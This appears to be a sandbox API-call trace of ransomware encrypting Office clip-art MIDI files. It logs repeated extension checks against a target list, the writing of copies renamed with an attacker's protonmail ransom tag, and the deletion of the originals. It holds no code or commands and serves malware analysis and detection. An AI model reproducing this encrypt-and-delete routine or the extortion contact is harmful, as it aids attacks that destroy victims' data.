	[0165.653] WriteFile (in: hFile=0x4a8, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xea, lpOverlapped=0x0) returned 1
	[0165.654] SetEndOfFile (hFile=0x4a8) returned 1
	[0165.654] CloseHandle (hObject=0x4a8) returned 1
	[0165.654] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.654] SetEndOfFile (hFile=0x484) returned 1
	[0165.658] CloseHandle (hObject=0x484) returned 1
	[0165.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0165.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 1
	[0165.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0165.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0165.711] lstrlenW (lpString=".doc") returned 4
	[0165.711] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.711] lstrlenW (lpString=".docx") returned 5
	[0165.711] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.711] lstrlenW (lpString=".pdf") returned 4
	[0165.711] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.711] lstrlenW (lpString=".xls") returned 4
	[0165.711] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.711] lstrlenW (lpString=".xlsx") returned 5
	[0165.711] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.711] lstrlenW (lpString=".ppt") returned 4
	[0165.711] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0165.711] lstrlenW (lpString=".zip") returned 4
	[0165.711] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.711] lstrlenW (lpString=".rar") returned 4
	[0165.711] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.711] lstrlenW (lpString=".bz2") returned 4
	[0165.711] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.711] lstrlenW (lpString=".7z") returned 3
	[0165.711] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0165.711] lstrlenW (lpString=".dbf") returned 4
	[0165.711] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0165.711] lstrlenW (lpString=".1cd") returned 4
	[0165.711] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0165.711] lstrlenW (lpString=".jpg") returned 4
	[0165.711] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0165.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0165.712] lstrlenW (lpString=".doc") returned 4
	[0165.712] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.712] lstrlenW (lpString=".docx") returned 5
	[0165.712] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.712] lstrlenW (lpString=".pdf") returned 4
	[0165.712] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.712] lstrlenW (lpString=".xls") returned 4
	[0165.712] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.712] lstrlenW (lpString=".xlsx") returned 5
	[0165.712] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.712] lstrlenW (lpString=".ppt") returned 4
	[0165.712] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0165.712] lstrlenW (lpString=".zip") returned 4
	[0165.712] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.712] lstrlenW (lpString=".rar") returned 4
	[0165.712] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.712] lstrlenW (lpString=".bz2") returned 4
	[0165.712] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.712] lstrlenW (lpString=".7z") returned 3
	[0165.712] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0165.712] lstrlenW (lpString=".dbf") returned 4
	[0165.712] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0165.712] lstrlenW (lpString=".1cd") returned 4
	[0165.712] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67
	[0165.712] lstrlenW (lpString=".jpg") returned 4
	[0165.712] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.713] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0165.713] lstrlenW (lpString="FINCL_01.MID") returned 12
	[0165.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0165.984] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=12981) returned 1
	[0165.984] CloseHandle (hObject=0x4cc) returned 1
	[0165.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 0x220
	[0165.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0165.985] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.985] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0165.986] GetLastError () returned 0x0
	[0165.986] ReadFile (in: hFile=0x4cc, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x32b5, lpOverlapped=0x0) returned 1
	[0166.023] WriteFile (in: hFile=0x4d0, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x32c0, lpOverlapped=0x0) returned 1
	[0166.025] ReadFile (in: hFile=0x4cc, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.025] WriteFile (in: hFile=0x4d0, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.025] SetEndOfFile (hFile=0x4d0) returned 1
	[0166.025] CloseHandle (hObject=0x4d0) returned 1
	[0166.025] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.025] SetEndOfFile (hFile=0x4cc) returned 1
	[0166.028] CloseHandle (hObject=0x4cc) returned 1
	[0166.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.387] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 1
	[0166.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0166.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0166.391] lstrlenW (lpString=".doc") returned 4
	[0166.391] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.391] lstrlenW (lpString=".docx") returned 5
	[0166.391] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0166.391] lstrlenW (lpString=".pdf") returned 4
	[0166.391] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.391] lstrlenW (lpString=".xls") returned 4
	[0166.391] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.391] lstrlenW (lpString=".xlsx") returned 5
	[0166.391] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0166.391] lstrlenW (lpString=".ppt") returned 4
	[0166.391] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0166.391] lstrlenW (lpString=".zip") returned 4
	[0166.391] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.391] lstrlenW (lpString=".rar") returned 4
	[0166.391] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.391] lstrlenW (lpString=".bz2") returned 4
	[0166.391] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.391] lstrlenW (lpString=".7z") returned 3
	[0166.391] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0166.391] lstrlenW (lpString=".dbf") returned 4
	[0166.391] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0166.392] lstrlenW (lpString=".1cd") returned 4
	[0166.392] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0166.392] lstrlenW (lpString=".jpg") returned 4
	[0166.392] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0166.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0166.392] lstrlenW (lpString=".doc") returned 4
	[0166.392] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.392] lstrlenW (lpString=".docx") returned 5
	[0166.392] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0166.392] lstrlenW (lpString=".pdf") returned 4
	[0166.392] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.392] lstrlenW (lpString=".xls") returned 4
	[0166.392] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.392] lstrlenW (lpString=".xlsx") returned 5
	[0166.392] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0166.392] lstrlenW (lpString=".ppt") returned 4
	[0166.392] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0166.392] lstrlenW (lpString=".zip") returned 4
	[0166.392] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.392] lstrlenW (lpString=".rar") returned 4
	[0166.392] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.392] lstrlenW (lpString=".bz2") returned 4
	[0166.392] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.392] lstrlenW (lpString=".7z") returned 3
	[0166.392] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0166.392] lstrlenW (lpString=".dbf") returned 4
	[0166.393] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0166.393] lstrlenW (lpString=".1cd") returned 4
	[0166.393] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0166.393] lstrlenW (lpString=".jpg") returned 4
	[0166.393] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.393] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0166.393] lstrlenW (lpString="PAPER_01.MID") returned 12
	[0166.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0166.706] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=6763) returned 1
	[0166.706] CloseHandle (hObject=0x3e0) returned 1
	[0166.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 0x220
	[0166.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0166.706] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.706] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0166.892] GetLastError () returned 0x0
	[0166.892] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x1a6b, lpOverlapped=0x0) returned 1
	[0166.894] WriteFile (in: hFile=0x470, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x1a70, lpOverlapped=0x0) returned 1
	[0166.895] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.895] WriteFile (in: hFile=0x470, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.895] SetEndOfFile (hFile=0x470) returned 1
	[0166.895] CloseHandle (hObject=0x470) returned 1
	[0166.895] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.895] SetEndOfFile (hFile=0x3e0) returned 1
	[0166.898] CloseHandle (hObject=0x3e0) returned 1
	[0166.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 1
	[0167.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0167.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0167.281] lstrlenW (lpString=".doc") returned 4
	[0167.281] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.281] lstrlenW (lpString=".docx") returned 5
	[0167.281] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.281] lstrlenW (lpString=".pdf") returned 4
	[0167.281] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.281] lstrlenW (lpString=".xls") returned 4
	[0167.281] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.281] lstrlenW (lpString=".xlsx") returned 5
	[0167.281] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.281] lstrlenW (lpString=".ppt") returned 4
	[0167.281] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0167.281] lstrlenW (lpString=".zip") returned 4
	[0167.282] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.282] lstrlenW (lpString=".rar") returned 4
	[0167.282] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.282] lstrlenW (lpString=".bz2") returned 4
	[0167.282] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.282] lstrlenW (lpString=".7z") returned 3
	[0167.282] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0167.282] lstrlenW (lpString=".dbf") returned 4
	[0167.282] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0167.282] lstrlenW (lpString=".1cd") returned 4
	[0167.282] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0167.282] lstrlenW (lpString=".jpg") returned 4
	[0167.282] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0167.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0167.282] lstrlenW (lpString=".doc") returned 4
	[0167.282] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.282] lstrlenW (lpString=".docx") returned 5
	[0167.282] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.282] lstrlenW (lpString=".pdf") returned 4
	[0167.282] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.282] lstrlenW (lpString=".xls") returned 4
	[0167.283] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.283] lstrlenW (lpString=".xlsx") returned 5
	[0167.283] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.283] lstrlenW (lpString=".ppt") returned 4
	[0167.283] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0167.283] lstrlenW (lpString=".zip") returned 4
	[0167.283] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.283] lstrlenW (lpString=".rar") returned 4
	[0167.283] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.283] lstrlenW (lpString=".bz2") returned 4
	[0167.283] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.283] lstrlenW (lpString=".7z") returned 3
	[0167.283] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0167.283] lstrlenW (lpString=".dbf") returned 4
	[0167.283] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0167.283] lstrlenW (lpString=".1cd") returned 4
	[0167.283] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68
	[0167.283] lstrlenW (lpString=".jpg") returned 4
	[0167.283] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.284] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0167.284] lstrlenW (lpString="SPRNG_01.MID") returned 12
	[0167.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0167.286] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=6700) returned 1
	[0167.286] CloseHandle (hObject=0x4d0) returned 1
	[0167.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 0x220
	[0167.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0167.287] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.287] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8
	[0167.289] GetLastError () returned 0x0
	[0167.289] ReadFile (in: hFile=0x4d0, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x1a2c, lpOverlapped=0x0) returned 1
	[0167.515] WriteFile (in: hFile=0x4b8, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x1a30, lpOverlapped=0x0) returned 1
	[0167.516] ReadFile (in: hFile=0x4d0, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
